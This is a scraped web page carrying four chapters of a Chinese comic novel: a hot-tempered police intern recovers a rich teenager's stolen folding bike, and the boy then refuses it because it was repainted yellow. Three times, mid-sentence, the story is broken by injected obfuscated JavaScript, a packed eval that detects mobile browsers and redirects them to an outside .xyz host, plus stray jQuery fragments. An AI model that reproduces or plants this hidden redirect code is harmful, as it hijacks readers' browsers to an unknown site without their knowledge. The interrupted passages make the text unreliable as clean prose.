《拿出登月的力气去爱你》 1. 警局初遇 办公桌上,一沓沓文书材料摊开,冷白的纸张映着头顶的灯光,刺得罗乐眼睛疼。 两周了…… 他连个正儿八经的案子都没碰上,办的最多的是「狗证」,读的最多的是《养犬管理条例》,为了精进业务,他还自制了一本《文明养犬宣传手册》。 罗乐数了数桌角的那沓养犬登记表,一共二十八张。 更让人无语的是,昨天同事刘力还塞给他一包菊花茶:“年轻人,火气别太大,来,泡点这个,去去火。” 这还没正式上班呢,就要提前进入养生堂了? 罗乐把白来的菊花丢进杯子里,揉了揉发酸的肩膀,站起身去大厅接水。 电视机里正播着午间新闻:“中国航天重大计划稳步推进,今年计划实施「嫦娥五号」月球取样返回任务。” 上月球取样? 罗乐抬头瞥了眼电视,心里涌起一丝羡慕。人家都上天了,他还窝在这里办狗证。 这叫什么事啊?! 干瘪的菊花在热水中缓慢舒展,罗乐端起杯子,在眼前晃了晃,透过升腾的雾气,他看见一个男孩。 ——很漂亮,这是罗乐脑中闪过的第一个词。 阳光透过玻璃,落在男孩栗棕色的头发上,叫人莫名想起上午登记过的那只卷毛贵宾犬,干净、贵气,带着小动物才有的毛茸茸的柔软。 罗乐表情一僵,猛然回神,把这荒谬的联想甩出脑海。完了,狗证办多了,看人都带上了品种分析的眼光…… “唉!你要办什么事?”他扬起下巴,朝男孩打了个招呼。 “自行车被偷了。”男孩抬起头。 “来吧,做个笔录。”罗乐招呼男孩到办事区,熟练地敲击起键盘。 “姓名?” “陶律夏。” “年龄?” “17。” “车在哪儿丢的?” “南山路33号,金鹿大药房门口。” 罗乐所在的南山路派出所管辖区内有中学和大学。丢车的事常有,找回来的却不多,能专门来报案,恐怕是新车。 他按下回车键,端起菊花茶喝了一口,随口问道:“车多少钱买的?五百?还是一千?” “3000多美元。” 自行车?2万多元?罗乐瞳孔微缩,目光从电脑屏幕转移到男孩身上。要不是这小子穿着实验中学的校服,他都要以为自己遇上了酒桌大忽悠。 “……自行车?”罗乐确认道。 “嗯。”陶律夏点点头。 “什么自行车这么贵?”罗乐不禁问。 陶律夏:“Brompton M6L 限量款。” 罗乐:“?” 这是个什么牌子?罗乐没听过,他下意识地挑眉,没忍住问了一句:“这车有什么好?” 陶律夏:“轻便小巧,折叠后可以放进阿斯顿·马丁的后备箱。” “噗——” 罗乐差点把水喷出来,他瞪大了眼睛:“你还有阿斯顿·马丁?!” “举个例子,想说它小巧。众所周知,阿斯顿·马丁的后备箱很小。”陶律夏停了一下,似乎觉得自己的解释不太完善,又补充道:“我还没有驾照。” 好家伙,一套话术行云流水,破绽全无!嘴上没炫,但句句都在隐晦地告诉你:我买得起阿斯顿·马丁,但因为还未成年,开不了。 太能装了!!! 罗乐感到一阵扫兴,他把视线挪回显示器,手指在键盘上飞快地敲了几下,头也不抬地问:“车什么时候丢的?” “今天中午,13点11分到的药房,13点18分发现车丢了。” “记这么清楚?”罗乐有些意外。 “我带了……” 见陶律夏抬起手腕,罗乐条件反射地打断:“百达翡丽。” “Apple Watch。” 陶律夏垂眼瞥了罗乐一眼,手腕微微一转,屏幕亮了一下,他慢条斯理地放回手,说:“我以为很明显。” 罗乐听出了些微讽刺的意味,他在心里默念了一遍「服务人民」的信条,牵出一个礼貌的微笑,把打印好的笔录推了过去—— “确认完签字,留个电话,有消息通知你。” “我还见到了偷车贼。”陶律夏忽然开口。 罗乐手上的动作停了一下,他靠回椅背,饶有兴趣地看着陶律夏:“你说说看。” “他大概1米7,很瘦,穿黑色冲锋衣、淡蓝色牛仔裤,戴了顶渔夫帽,头发是蓝色的。” 陶律夏指了指手腕:“这儿纹了三颗蓝色五角星,还有几个字母,他正在尝试洗掉字母。“ 罗乐眯起眼睛:“你怎么知道他要洗掉?” “爱的时候纹上对方的名字,不爱了就洗掉,清洗痕迹很新。”陶律夏语调微冷。 小小年纪,还挺懂这些「爱」呀「不爱」的门道,罗乐冷哼一声:“你纹过?” “嗯?”陶律夏没想到罗乐会问这个,怔了一下,但看见对方一副探究的模样,便如实回道:“没有。” “如果要纹,我可能会纹在肩胛骨,疼痛感应该会少些,也不会选蓝色。” 罗乐刚要反唇相讥,谁问你这些了?谁关心你选什么色了?结果对方下一句话直接把他钉死在椅子上—— “蓝色波段很难洗,需要用532nm和1064nm双波长激光,要洗多次,还会留下色沉。” “……” 这句话信息量有些大,罗乐没有跟上,他沉默片刻,凑近了一点,手指轻点桌面:“所以呢?你想说什么?” “哦……”陶律夏意识到自己跑题了,他微抿嘴唇,认真地开口:“金鹿大药房门口没有监控,你可以查查……周边几公里有没有纹身店。” “你的意思是……让我去纹身店蹲点?”罗乐气笑了。 陶律夏自己也愣了一下,这建议听上去,好像是有些离谱?他试图补救:“查查交通摄像头或者沿途监控?应该能看到他去了哪?” 罗乐望着陶律夏,感觉太阳穴突突直跳。 ——如此好看的皮囊,怎么一张嘴就这么欠收拾?一开口,不是名车名表,就是激光波长,现在又在这儿指导他查案! 还一副假正经的模样,好像这是漫不经心随口给出的指点。他是不是以为派出所是可以随意点单的侦探社! 罗乐忍着没翻白眼,把这口火压了下去。他靠在椅背上,语气不咸不淡:“少年,你是不是柯南看多了?” “确实看得有点多……”陶律夏点点头。 说话时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15939290|177278||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 口腔里的溃疡突然作痛,陶律夏下意识地“嘶”了一下,眉头微蹙着讲完了后半句:“不过目前我看到的900多集中,还没有找自行车的剧情,破案也主要靠推理。” 罗乐瞧着陶律夏脸上的表情…… ——这皱眉,是忍着不翻白眼吧?! ——这牵起的嘴角,是克制着不嘲讽吧?! ——这“主要靠推理”的补充,是在说自己问的是废话吧?! 一瞬间,罗乐的怒火怎么都压不住了,他猛地站起身,椅子在地上划出一声刺耳的摩擦音。 “你不装逼就不会说话是吧?!” 罗乐身高接近一米九,肩宽腿长,身形结实,站在一个清瘦的高中生面前,本就显得气势逼人。 这一嗓子喊出去,整个办案区都安静了,连旁边吵得不可开交的两壮汉都齐刷刷地停下了国骂。 刘力正埋头写材料,被这突如其来的一嗓子吓得,手一抖,钢笔在纸上划出一道歪歪扭扭的墨痕。他眉头一皱,抬头看向声音源头—— 小罗又炸了…… 年纪不大,火气倒是不小。来派出所实习三个多月,干出的事包括但不限于——抓小偷直接一个回旋踢,逮色狼差点把人送急诊,有次出勤,险些把斗殴猛男打成轻伤。 好不容易摁在所里处理点文书证件,竟然还吼起报警群众了? 刘力生怕眼前的小孩吓出心理阴影,赶紧起身准备去拦一下。可就在他走近时,场面忽然发生了微妙的变化…… 那中学生站得笔直,他一脸平静地望着罗乐,既不惊慌,也没畏惧,甚至还慢悠悠地眨了眨眼,彷佛是在观察一个情绪失控的实验对象。 罗乐刚才还一副凶神恶煞的架势,像要把谁拎出去打一顿,结果下一秒仿佛被人按了调音键,整个人音量骤降,语气也软了八度。 “抱歉,实在抱歉,刚才声音有点大了。” 这一幕让刘力直接看傻了,连领导都敢顶撞的实习生,此刻局促地站在原地,像个犯了错的小学生。 "陶……同学,要不这样,你先回去,等有进展我再联系你,我给你打电话!"罗乐又干巴巴地补了一句。 空气凝固了几秒。 陶律夏接过报警回执,低头核对了一遍,确认无误后,提笔签字。修长的手指轻巧地蘸了印泥,指腹贴在纸面,按下一枚红印。 他抬起指腹,轻轻吹了吹,才不紧不慢地接过罗乐殷勤递上的透明文件袋,将它规整地装好,塞进包里。 整个动作,从容、优雅、一丝不苟。 陶律夏收拾妥当,转身走向门口,手指碰到门把上的那一刻,他忽然停了一下,微微偏过头,用一派温和的口气和目送他的罗乐说道—— “你的火气好像有点大,多喝点……菊花茶吧 。” 罗乐深吸了一口气,目光落在宣传栏的海报上《如何做情绪的主人?》 四行“STOP情绪管理法”印在中央,旁边还配了个笑眯眯的卡通小人,一脸劝导的慈祥模样。 他在原地僵了两秒,转身回到座位,仰头灌了一大口菊花茶,把杯子“啪”地一放,抓起装备,气势汹汹就往外走。 “哎,你干嘛去?”刘力喊道。 罗乐头也没回:“人都报案了!当然是去找车!” 2. 狂飙追贼 三月的京北,天气忽冷忽热,太阳高照时,还带着春日的暖意,可天色一变,就冷得猝不及防。 中午两点,罗乐穿着件单薄的休闲夹克在巷子里哆哆嗦嗦地走。 三天了。 罗乐沿着偷车贼的行踪摸了三天,终于找到这片城中村,但这地方小巷纵横,乱得像迷宫,监控也少得可怜。 问了几十个人、十几家店,连巷子里的土狗都盘了一遍,还是一无所获。 罗乐蹲在地上,和土狗大眼瞪小眼,心情反复横跳—— “算了,今天再蹲最后一次,找不到就死心。” “不行!必须揪住那个贼,怎么都得揍他一顿!” 土狗甩甩耳朵,尾巴在地上扫了两下,眼神里满是“你爱干嘛干嘛,别烦我”。 ——到底图什么呢?这要是一桩大案也就罢了,可他只是帮一个中学生找辆折叠车,至于这么折腾吗? 玉兰树上挂着毛茸茸的花苞,准备随时在某个温暖的午后炸成一片洁白的花海。 罗乐把手里的空水瓶扔进垃圾桶,掏出手机,拨下林岘的电话。 林岘是他的本科&研究生室友兼好兄弟,此人堪称「人形警犬」,家里又比较有关系,消息和路子比罗乐广多了。 电话接通,嘈杂的音乐在耳边炸开,过了一会,林岘的声音才传出来:“怎么了哥们。” 天还没黑呢,姓林的就泡在夜店鬼混!罗乐皱了皱眉,他也没心思管林岘的社交生活,直奔主题:“出来帮我找车。” “什么车?物资走私车还是运尸嫌疑车?”林岘没正形儿地问。 “折叠自行车。” “什么!”林岘来了精神,声音都高了几个分贝。 “来不来?“罗乐懒得废话,“不来算了!” “发个定位,我去接你,大概40分钟。” “南山路西格多书店。” 罗乐挑了本侦探小说,找了个位置坐下,视线在扉页上停了很久,一直都没翻过去。 脑子里全是那辆折叠车。 监控断了,沿途目击者全是瞎的,废品站跑了六家,连偷车贼的鬼影子都没见到!还能怎么找呢? 要不试试纹身店? 罗乐想着,打开手机地图,指尖在屏幕划了半天,又收了回去,他把手机一合,塞进口袋里。 这也太荒唐了,自己竟然和那个中学生一样天马行空…… 他按着太阳穴,自我检讨了三秒,站起身,打算去新书区找几本心灵鸡汤,抚慰一下被自行车来回横扫的心情。 刚迈出两步,忽然眼前一亮——陶律夏! 那小子正站在新书推荐区,捧着本书看得入迷。 罗乐下意识往书架后一躲,目光穿过空隙,落在对方身上。 中学生不说话的时候,居然还挺顺眼,那种张扬、自负,甚至有些惹人烦的优越感都悄然隐去。 那天他像只小动物,今天,他穿了件灰粉色的灯芯绒外套,像枝开在沙漠里的花。 罗乐忽然有了上前打招呼的冲动,他甚至都想好了开场白,但就在踏出一步的瞬间,目光落在对方拿着的书上——《月球矿物手册》。 “……” 罗乐刚刚燃起的微妙情绪,瞬间崩了个干净。 老子为了帮你找车,连着几天摸排蹲点,连星期日都没休息,满脑子都是监控录像、嫌疑轨迹,尽想着怎么抓贼,怎么找回那辆车…… 你倒好,还有时间看闲书!还在这儿研究月球矿物?! 看着中学生一派放松,津津有味的样子,罗乐气不打一处来,他恨不得立刻冲上去,好好阴阳怪气一番: ——哟,真是好巧啊,陶同学,在这儿研究月球呢? ——作业写完了吗?高三了,天天游手好闲,你还考不考大学了! 不对…… 他凭什么觉得人家游手好闲,看看天文地理,研究矿物类型,充其量也就是兴趣广泛罢了…… 更何况,这家伙就算真有点「游手好闲」,也只是因为家里有钱,生活无忧罢了,又没影响到别人。 这,算什么错呢? 罗乐有些丧气地把书插回架子,转身离开,车也没找回来,如果中学生问起,他该怎么说呢? “正在查”、“没线索”、“快了”——听上去全都像糊弄小孩的借口…… 他一边想着,一边走出书店,在路边没等多久,就见林岘的跑车慢悠悠地滑了过来。 车门一开,罗乐险些被他身上的西装三件套闪瞎眼:“……你怎么穿成这样?” “刚才真聊正事儿呢!”林岘晃了晃手里的冰美式,“来的路上,顺便问了几家废品站。东兴老板说,昨天有人推来一辆你说的那种车,他没收。” 罗乐:“那去东兴那边找找。” 这一找,又是大半天,找到夜色渐沉,街灯都亮了。 林岘整个人瘫在法拉利的座椅上,皮鞋沾满了土,精心打理的中分变成了凌乱的狗啃。 从“商务精英”到“灾后难民”,只需要兄弟的一个执念。 林岘自己先笑得停不下来,喘了口气才看向旁边那位:“哥们,我真得问一句——” “你是不是对这辆车有什么超越物质的感情?你前女友留给你的爱情遗产?” 罗乐嗤笑,挑起眼皮看了他一眼:“我哪来的前女友?” “要不然呢?你爸送给你的成年礼?”林岘拉长了音调。 “18岁那年,我爸尽追着我打了,还成年礼?”罗乐把吃完的竹签插回关东煮的杯子。 林岘:“那你东奔西跑的,到底图什么?” 罗乐扯了扯衣领:“不想输给看了九百多集柯南的装逼富二代。走吧,去纹身店!” 林岘一怔:“鞋底都要磨出洞,你还不打算收工?” “最后一站!” 法拉利轰鸣一声,驶进辅路…… 纹身店这个想法,在书店那会儿还被罗乐自己判了“离谱”,可现在别无他法,试一试也无妨。 他漫不经心地看向窗外,目光略过骑行道的人影,看着,看着……猛然一顿,倏地坐直了身子—— 远处,一个男人骑着辆自行车,单手扶把,晃晃悠悠地抖着肩膀。 哪怕夜色昏沉,哪怕隔着三十多米,那身影依然像钉子一样扎在他眼前——在监控里看了无数遍,早已烙进脑子。 “靠边停车!”罗乐一声爆吼。 林岘顺着他的视线看过去,睁大眼睛:“这都能遇上?!”他立刻会意,把车开向路边。 “我追,你堵。”话音刚落,罗乐一把推开车门,整个人像离弦的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15939291|177278||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 箭般飞了出去。 偷车贼原本悠闲地踩着脚踏板,听见动静,下意识回头一瞥—— 就看见一个身影,正以超乎寻常的人类速度,朝他狂奔而来! “小偷!站住!” 那人杀气腾腾,像下一秒就要把他按地活剥。偷车贼吓得脸色惨白,爆了句粗口,踩起踏板就是一顿狂飙! “站住——!” 吼声越来越近,偷车贼蹬车的节奏都乱了套,他一边猛踩,一边绝望地寻思—— 不至于吧?!自己不就是偷了辆破自行车吗?!哪家警察出动这种阵仗的?!怎么玩命啊? 林岘摇下车窗,一边开车,一边欣赏这场突如其来的「警匪狂飙」。快到路口时,他猛打了把方向盘,车尾划出一道漂亮的弧线,轰然横在路中间。 偷车贼心里一万匹草泥马狂奔而过,身后的疯子再差几步就要扒上后座,眼前又来一辆跑车堵住去路…… ——谁能想到,自己人生第一次被法拉利逼停,是因为偷了一辆废品站都不收的自行车?! “咣当——”他一个急刹,连人带车翻出去。 刚一落地,还没来得及爬起,后衣领就被人一把薅住,硬生生拎了起来。 “跑啊?”罗乐气息不稳地冷笑,“怎么不跑了?刚才不是蹬得挺快?” “哥!警官!大佬!”偷车贼崩溃大喊,“咱们有话好好说行吗?” 想到自己死磕几天受的罪,罗乐胸口那股火“腾”地一下往上蹿,恨不得一拳把人揍趴。 他刚抬起手,脑子里却突然闪过“多喝点菊花茶降火”的温言嘲讽。拳头像被人在空气里按住,僵硬地停了一秒,最后缓缓放了下来,从腰后抽出手铐。 偷车贼又开始嚎:“警官!能不能通融通融?!真是第一次偷东西,相信我! ” 林岘从旁边走过来,看了眼摔在地上的自行车,一脸难以置信:“就这?两万多?跟共享单车有什么差别?” 罗乐回道:“折叠后能放进阿斯顿马丁的后备箱。” 路灯映在一排排汽车长龙上,碎成了流光,融入了夜色里。 * 罗乐看了眼时间——19:28。 距离他给失主陶律夏打出第一通电话,已经过去整整37个小时。 电话不接,短信不回。 罗乐一开始有点烦,后来变成无奈,到现在,竟隐隐有点……不安。 要不是抓着的偷车贼就是个小毛贼,他都要怀疑那小子是不是被灭口了。 这小子该不会真的不打算要了吧? 正常人丢了车,警察帮忙找回,怎么也得道个谢吧?就算不感激涕零,起码也得表现出一丝丝积极性吧? 可陶律夏呢?报案时云淡风轻,现在车找回来了,他又不吭一声。到底是有钱不在乎,还是另有隐情? 罗乐捏了捏鼻梁,觉得自己有点魔怔了。 案子都破了,他还在这儿操哪门子的心?来就来,不来拉倒,自己又不是他班主任,管那么多干什么。 正这么想着,一道熟悉的身影晃进视野,步子慢悠悠的,像是吃完饭出来遛弯。 罗乐眼神一动,原本紧绷的神经松了一点,他挺直脊背,勾起一点意味不明的笑。 这回,倒要看看这个中学生还能说出什么? 3. 肉眼污染 陶律夏走到罗乐对面,神色平淡地站定,仿佛只是来取个快递:“你怎么找到的?你是不是查了沿途监控?” “我会那么傻?”罗乐双手插兜,没好气地笑道:“路边捡的!” 晚风有些凉,警局门口的灯打在水泥地上,拉出一片温吞的橙黄光晕。 中学生背着一个灰粉色的书包,和那天的外套同色,沙漠玫瑰。罗乐有点不好意思盯着他,便把头偏向一边,在警车的玻璃反光里瞥见自己的脸。 嘴角怎么翘得有些明显?他赶紧绷住,故作敷衍地催促:“签个字,就把你车拿走。” 陶律夏的目光这才落在那辆自行车上,原本松散的肩线蓦地绷紧,脸色像被投下石子的湖面,骤然一变。 罗乐正等着他感动呢,没想到感动得有点过头了——这什么表情?震惊?迟疑?还是……不可思议? “愣着干嘛呢?”罗乐抬起下巴,摆出一副无所谓的样子,“车给你找回来了,下次记得停车落锁,别再搞丢了。” “我不要了!” 陶律夏的语气干脆利落,连半秒犹豫都没有,说完转身就走。 罗乐差点以为自己幻听了,他愣了一下,随即追上去,一把抓住男孩的手腕,不可置信地问:“你说什么?” 陶律夏甩开他的手,眼神锋利地直刺过来,不紧不慢地重复了一遍:“我说——我不要了。” 罗乐深吸了一口气,隔壁火锅店的味道钻进鼻腔,没觉得馋,反倒被呛得心烦意乱。 为了找这车,其中挫折自不必说,好不容易找回来,罗乐原以为这小子再不济也得挤出个“谢谢”。 结果呢……不要了??? 罗乐一步迈到陶律夏身前,拦住了他:“什么叫「不要了」?你把话说清楚。” 陶律夏的目光往旁边一偏,指着那辆车:“你没看到吗?他把我的车毁了!喷成了亮黄色!我最讨厌的颜色!” 罗乐扭头看了一眼自行车。 之前,他只是觉得有点像共享单车,这么一说,这颜色确实像是用劣质油漆糊上去的,灯光一照,像块破烂的荧光糖纸。 但这能是「不要了」的理由? “不是,你逗我呢?” 罗乐尽力维持冷静,“颜色不喜欢就不要了?” 陶律夏盯着那辆车看了半天,像在扫描一个严重失真的数据模型,良久,他轻叹一口气:“我喜欢的是Brunswick Green的复古色调,现在这样……我怎么骑?” 他抿了抿唇,语气笃定道:“已经不是同一辆车了。” 罗乐在派出所待了快四个月,见过的奇葩没有一百也有八十,但还是被眼前这个富二代的「事儿逼」程度震撼了。 “这玩意儿不就是个代步工具?能骑不就行了?再说,亮黄色怎么了?”他放缓口气,试图用最朴素的生活哲学规劝对方。 陶律夏的表情一瞬归位,他抬手指向那团晃眼的黄色——“月球车外壳的喷涂颜色都要经过计算,保证热辐射率和反射率,我为什么要忍受这种‘肉眼污染’?” “笑死……”罗乐都气乐了,“月球车那是国家科研成果,你这就是个自行车,这能是一码事吗?” 陶律夏想都没想,脱口问道:“你会穿亮黄色的警服出街吗?” 罗乐:“……” 陶律夏:“你会用ic Sans 字体写工作报告吗?” 罗乐:“???” 陶律夏:“如果有人把警车的警灯改成彩虹色,你还觉得‘功能性最重要’吗?” 罗乐感到血压在飙升,理智在报警,但直觉告诉他,这小子还没说完。 陶律夏:“你出警的时候,愿意开一辆 Hello Kitty 主题,贴满粉色蝴蝶结的警车吗?” 简直就是公然挑战他身为警察的尊严,罗乐大吼道:“不愿意!” “为什么?它能开。”陶律夏的语气平静得像是在做课堂总结。 “……” 罗乐憋了一肚子火,手已经不自觉地摸上了腰间的手铐。 陶律夏面色如常,缓缓问道:“迪士尼公主限定款手铐呢,镶钻,带BlingBling闪光?” “你!”罗乐张了张嘴,一脸呆滞地看着陶律夏,半天说不出话,内心缓缓浮现出一个可怕的念头——他说的……好像……有点道理??? “所以,”陶律夏仰起头,“我无法接受一辆亮黄色的自行车。” 罗乐还没想出能反击回去的句子,就听见身后传来一声——“小罗!” 刘力推开大门,探出半个脑袋,皱着眉催促:“你怎么还在这儿?赶紧的,肖队找你有事!” 天降救兵! 罗乐抓住了救命稻草,都没问一句“什么事”,就一个箭步迈了过去,嘴上还不忘给自己找个台阶:“签完字搁值班室,再搞丢,我可不管你了!” 说完,脚底生风,头也不回地钻进警局大门。 刘力一脸莫名地跟上他:“你跑这么快干嘛?后面有狗追你啊?” 罗乐深吸一口气,像是刚从生死线上爬回来,语气沉重:“一只长得挺乖,但下爪贼狠的贵宾犬。” 刘力:“……?” “步步为营,精准拆解,非要按头让我承认亮黄色是肉眼污染。” 刘力:“你说人话。” 罗乐抬头,眼神空洞:“我差点被一个中学生逼疯。” 刘力:“上次丢自行车那个?” 罗乐皱起眉:“?” 刘力把手里的打印纸码齐:“别拿那种眼神看着我,你上次就是人家的手下败将。” “……怎么?”罗乐嗔笑道,“刘哥,你刚才是特意去救我的?” 刘力一头雾水:“救什么?肖队真找你有事,档案室! 忙活到晚上9点多,罗乐才从档案室出来,派出所只剩下值班室有人。他把手里的笔一丢,椅子一转,长腿搭在桌沿上,舒服地往后一靠。 这几天,他该抓的贼抓了,该整理的资料也整理了,该被中学生逼疯……呸,这事翻篇了。 罗乐闭上眼睛,开始自我催眠: ——这事过去了,不想了,跟小孩较什么劲。 ——那辆车到底怎么样, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15939292|177278||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 已经不关他的事了。 ——现在他只想回去洗个澡,睡个踏实觉。 站起身,推开派出所的大门,一股冷风迎面扑来。 罗乐:“……” 他猛然松手,看着门“砰”地合上,静默了一会,又重新打开。 不是幻觉,那辆车还在! 它明晃晃地停在派出所门口,亮黄色的漆面在灯光下显得格外刺眼,像一块粘在脚底的柠檬味口香糖,甩都甩不掉。 罗乐伸手扶住了门框,一动不动地盯着那辆车—— *《中华人民共和国刑法》第275条规定:故意毁坏公私财物,数额较大或者有其他严重情节的,处三年以下有期徒刑、拘役或者罚金……* *治安管理处罚法第49条:损坏他人财物,处五日以上十日以下拘留……* “臭小子!”罗乐攥紧拳头,他真想现在就把这破玩意儿砸了,毁尸灭迹,让它从世界上消失,连原子都别剩下! 又默念了两遍法条,才压下一脚把车踹飞的冲动,罗乐走到跟前,环视四周,大声嚷道:“现在怎么没人偷了!怎么没人偷!” “这话说的?谁会在派出所门口偷东西?” 罗乐愣了一下,朝声音的方向望过去,一个遛狗的大妈站在路灯下,像看傻子似的瞧着他。 这个大妈,不就是前几天来派出所办宠物证的那位?那站在她脚边的小可爱,就是那只卷毛贵宾犬了。 小家伙歪着脑袋打量他,暖黄色的灯光洒在它栗棕色的毛皮上,一副乖顺又软糯的模样。 心莫名地软了下来…… 罗乐站在原地良久,最终长叹一声,认命地走到自行车跟前—— 翻出一个教学视频,跟着上面的操作,收起前轮,压下座杆,折好脚踏板,将车拎进屋,塞进去了工位后的铁皮柜。 不得不说,确实轻巧方便…… 安顿好那辆车,罗乐走去便利店,在空空荡荡的冷柜里拿了一个饭团,又在冰柜里拿了罐啤酒,拎着简陋的晚餐,他在路边找到一张长椅坐下。 路灯坏了两盏,四周昏暗朦胧,罗乐随手将啤酒罐搁在旁边,仰头望向夜空。 月亮被云挡了一半,冷白的月光在云层间游移,像蒙着一层薄雾。 目光在月亮上停留了一会,脑子就不听使唤地开始回放——月球车、热辐射率、反射率、肉眼污染…… 怎么连喝个酒都逃不掉那臭小子给他下的「精神刻印」! 罗乐移开视线,抬头灌了一口啤酒,刚咽下去就察觉不对,拿到眼前一看,果味的! 人倒霉时,连喝个啤酒都能踩雷! 他还没来得及把啤酒罐砸了,一阵“嗡嗡”声贴着长椅突兀地震响。 罗乐掏出裤兜里的手机,拿到眼前一看,来电人——陶。律。夏。 啤酒罐险些从手中滑落,他眼皮一跳,整个人都僵住。这小子居然…… 主动来找他了?! 什么意思?是突然良心发现,决定道歉?还是刚才没怼够,想和他继续抬杠? 罗乐看着屏幕,看了足足十秒,按下了接听键…… 4. 布伦瑞克绿 罗乐按下接听键,靠在椅背上,哼了一声:“喂?” 电话那头沉默了一秒,然后传来几个字——“是我,陶律夏。” 罗乐的手指微微顿了一下,怎么回事,这小孩的声音意外地温软,和之前张嘴闭嘴“审美受辱”的气人程度完全不匹配。 罗乐拧着眉,捏了捏啤酒罐,没吭声。 “都没有问过,你叫什么名字?”电话那头问道。 罗乐顿了顿,硬邦邦地吐出两个字:“罗乐。” “哪个……‘LE’?” “助人为乐的‘乐’。”罗乐咬着后槽牙回道,讽刺,连名字都是讽刺! 电话那头又沉默了一秒,然后,罗乐听见了一点轻轻的笑声…… ——臭小子笑什么呢?! “谢谢你,罗警官,谢谢你帮我找车。” 陶律夏的语气带着标准的中学生式礼貌,乖巧、规矩,念课文似的。 罗乐微微挺直背,端起果啤喝了一口,说:“没事儿,车我已经帮你收起来了,你什么时候过来取?” 电话那头停了一会,然后,那个熟悉的、气死人不偿命的声音再次响起——“我说过不要了。” 经过一晚上的冲击,此刻,罗乐的内心全是平静,他略一使劲,啤酒罐就被捏扁了一块:“就算不要了,你也不能扔在派出所门口吧。” 陶律夏:“麻烦你处理。” “???”罗乐稳了稳情绪,耐着性子反问:“我要怎么处理?骑着它上下班?” 陶律夏:“随你便。” 罗乐:“随我便?少年,两万元的车,你也太浪费了吧?” 陶律夏:“我已经把它计为损失,再投入更是浪费。” “……” 罗乐:“你那车本来是什么颜色?” “Brunswick Green——” “什么鬼绿?”罗乐皱眉。 “布伦瑞克——绿,布伦瑞克是德国的一个城市。” 电话那边停了一会,又补了一句:“布谷鸟的布、伦敦的伦、瑞士的瑞、克劳德·史特莱夫的克。” 都能抢答了,但什么劳德什么夫又是什么?罗乐眯着眼,努力从这长达七个字的名字里提取关键信息,最后卡壳了…… “克劳德·史特莱夫,是游戏里的虚拟人物。”中学生极具默契地接了一句。 罗乐捏着鼻梁,感觉自己再跟这小子对话五分钟,明天就得去医院挂个高血压门诊。他瘫在椅子上,语气虚弱地问:“你挑这么拗口的词儿,就是故意让人记不住是吧?” 陶律夏顿了顿,语气认真道:“抱歉,第一反应说了这个,千克的克。” 罗乐:“……” 这小子要么是在故意整他,要么就是整人的本能已经刻进了基因里…… 陶律夏:“总之,谢谢你罗警官,我还要做题,再见了。” “唉!”罗乐还想再问几句,那端已经单方面「结束通话」。 罗乐盯着被挂断的通话界面,不知道该哭还是笑,他揉了揉太阳穴,靠在椅子上缓了一会儿。 月亮从云里滑了出来,在地面洒下细碎的银光。也许是幻听了,竟觉得最后那个道谢像真心的。 罗乐的手指无意识地敲着啤酒罐,接着,他鬼使神差地拿起手机,在搜索框里输入——「布伦瑞克绿 」 他倒要看看,这是什么高端的颜色? 搜索结果加载出来后,罗乐耐着性子一页页查看,最后停在了一辆自行车上…… 他愣了一下,又多开了几个页面细细观赏,终于没憋住,喷笑出声:“哎嘛……还德国,还Brunswick Green,这不就是绿皮火车那色?!可真能装逼啊……” 远处,一辆公交车缓缓驶来,车头的电子屏亮着夜班线路的号码。 罗乐站起身,把啤酒罐捏瘪,抬手抛进了不远处的垃圾桶。金属罐撞击桶壁,发出清脆的“砰”声,糟心的感觉也随之而去。 自己一个大人,还真能和小朋友一般见识? 他跳上夜班车,懒散地靠在座椅上,公交车缓缓启动,驶进了夜色里…… 第二天一早,刚走到工位,罗乐的目光就不受控制地瞟向储物柜。不想和小朋友一般见识,奈何小朋友存在感强得可怕。 那辆车就像是扎在脑海里的一根倒刺,不动声色地提醒他「这事儿没完」。 处理完上午的工作,罗乐端着碗坐到刘力对面,他戳着盘子里的包子,心不在焉地开口:“刘哥,问你个事儿……如果报案人拒绝领回失物,咱们应该怎么处理?” “什么失物?”刘力端着碗,狂炫最后一点牛肉炒粉,头都没顾上抬。 “就……”罗乐慢吞吞道:“价格还比较高的东西,人家说不要了,让随便处理。” 刘力的手一顿,抬头看了罗乐一眼:“……怎么听着这么耳熟?” 罗乐面不改色,把包子咽了下去,说:“随口问问,业务探讨,能不能当遗弃物品处理?” “遗弃物品得是没人认领的,也得发招领公告,逾期后还没人要,上缴或者拍卖啥的,流程至少得半年。“ “这么麻烦?”罗乐皱眉。 “要不然呢?”刘力放下筷子,忽然眯起眼:“你想咋样,想自己留下?” 